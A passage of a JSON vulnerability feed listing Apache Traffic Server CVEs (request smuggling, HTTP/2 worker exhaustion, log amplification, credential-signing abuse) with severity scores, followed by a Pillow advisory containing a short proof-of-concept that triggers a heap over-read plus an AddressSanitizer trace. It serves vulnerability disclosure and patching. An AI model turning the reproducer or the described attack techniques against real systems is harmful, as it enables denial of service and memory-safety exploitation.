exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111814","cveId":"CVE-2026-111814","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a...","summary":"Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a different one.\n\n\n\nThis issue affects Apache Traffic Server: from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server's default outbound session-sharing policy can reuse a pooled TLS session authenticated with one client certificate for a transaction configured to present a different one.\n\n\n\nThis issue affects Apache Traffic Server: from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:23.190Z","updatedAt":"2026-10-23T12:18:09.207Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111814","asOf":"2026-10-23T12:18:09.207Z"},"epss":{"probability":0.00235,"percentile":0.14336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111814&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111814","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111814","type":"primary","publishedAt":"2026-10-21T20:17:23.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111814&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111814, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111812","cveId":"CVE-2026-111812","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials.","summary":"Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request headers under the proxy's own credentials.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:23.060Z","updatedAt":"2026-10-23T12:18:08.957Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111812","asOf":"2026-10-23T12:18:08.957Z"},"epss":{"probability":0.00361,"percentile":0.29591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111812","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111812","type":"primary","publishedAt":"2026-10-21T20:17:23.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111810","cveId":"CVE-2026-111810","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the...","summary":"Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the proxy write far more log data than the request contains.\n\n\n\nThis issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the proxy write far more log data than the request contains.\n\n\n\nThis issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:22.780Z","updatedAt":"2026-10-23T22:16:55.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111810","asOf":"2026-10-23T22:16:55.780Z"},"epss":{"probability":0.0036,"percentile":0.29463,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111810","type":"primary","publishedAt":"2026-10-21T20:17:22.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111809","cveId":"CVE-2026-111809","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding.","summary":"Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:22.620Z","updatedAt":"2026-10-22T16:56:52.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111809","asOf":"2026-10-22T16:56:52.840Z"},"epss":{"probability":0.00218,"percentile":0.12195,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111809&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111809","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111809","type":"primary","publishedAt":"2026-10-21T20:17:22.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111809&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111809, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111808","cveId":"CVE-2026-111808","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame.","summary":"Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:22.427Z","updatedAt":"2026-10-23T22:16:55.653Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111808","asOf":"2026-10-23T22:16:55.653Z"},"epss":{"probability":0.00412,"percentile":0.3512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111808","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111808","type":"primary","publishedAt":"2026-10-21T20:17:22.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111805","cveId":"CVE-2026-111805","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value.","summary":"Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:22.257Z","updatedAt":"2026-10-23T22:16:55.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111805","asOf":"2026-10-23T22:16:55.533Z"},"epss":{"probability":0.00412,"percentile":0.3512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111805&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111805","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111805","type":"primary","publishedAt":"2026-10-21T20:17:22.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111805&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111805, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112394","cveId":"CVE-2026-112394","aliases":["GHSA-4558-3h8r-v8xp"],"kind":"vulnerability","title":"Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size","summary":"On `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.\n\n`ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies.","detail":"### Summary\n\nOn `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.\n\n### Details\n\n`ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies.\n\nThe raw decoder derives the line size from the bits per pixel\n\n```c\nstate->bytes = (state->xsize * state->bits + 7) / 8;\n```\n\nand uses it both for the bounds check and to advance to the next line. For `P;2L` and `P;4L`, `bits` is 2 and 4 respectively.\n\nBut these two rawmodes are not packed pixels but 2 or 4 *bit planes*, each padded to a whole number of bytes. `unpackP2L` computes `s = (pixels + 7) / 8` and reads plane *k* at offset `k * s`, and `unpackP4L` does the same across four planes. Their real footprint is therefore `planes * ((xsize + 7) / 8)`.\n\nFor some widths, padding each plane separately makes this footprint larger than `state->bytes`. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.\n\n#9725's check is misshapen for this:\n\n* It can reject data of the right length: 8x1 `P;2L` image is 2 bytes but is not accepted.\n* It still accepts buffers shorter than the unpackers require for a given image shape.\n* It measures the length with `len(data)`, which is an element count rather than a byte count; e.g. `memoryview(array(\"I\", [0,0,0,0,0]))` (20 bytes) is rejected while `mv.tobytes()` is accepted.\n\n### PoC ( `ghsa_p2l_p4l.py`)\n\n```python\nfrom array import array\nfrom PIL import Image\n\n# 1 byte past\nImage.frombytes(\"P\", (1, 4), array(\"B\", [0] * 4), \"raw\", \"P;2L\")\n\n# 3 bytes past\nImage.frombytes(\"P\", (1, 8), array(\"B\", [0] * 8), \"raw\", \"P;4L\")\n```\nis the almost-simplest reproducer.\n\n(`array` is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates `bytes`es with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)\n\nOn my Mac, I can get ASan to scream about this with\n\n```bash\nexport asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)\nenv CFLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g -O1\" LDFLAGS=\"-fsanitize=address\" uv pip install -e .\nenv DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py\n```\n\nlike so:\n\n```\npython3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.\nunpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371\nunpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372\nunpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373\nunpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374\n=================================================================\n==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38\nREAD of size 1 at 0x602000037374 thread T0\n #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)\n #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)\n #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)\n #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)\n #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)\n #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)\n #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)\n #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)\n #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)\n #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)\n #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)\n #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)\n #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)\n #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)\n #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)\n #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)\n #16 0x000194c86b94 ( )\n\n0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)\nallocated by thread T0 here:\n #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)\n #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)\n #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)\n #3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)\n #4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)\n #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)\n #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)\n #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)\n #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)\n #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)\n #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)\n #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)\n #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)\n #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)\n #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)\n #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)\n #16 0x000194c86b94 ( )\n\nSUMMARY: AddressSaniti\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:00:32.000Z","updatedAt":"2026-10-21T20:00:36.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-4558-3h8r-v8xp","asOf":"2026-10-21T20:00:36.000Z"},"epss":{"probability":0.0051,"percentile":0.43218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4558-3h8r-v8xp","url":"https://github.com/advisories/GHSA-4558-3h8r-v8xp","type":"primary","publishedAt":"2026-10-21T20:00:32.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied 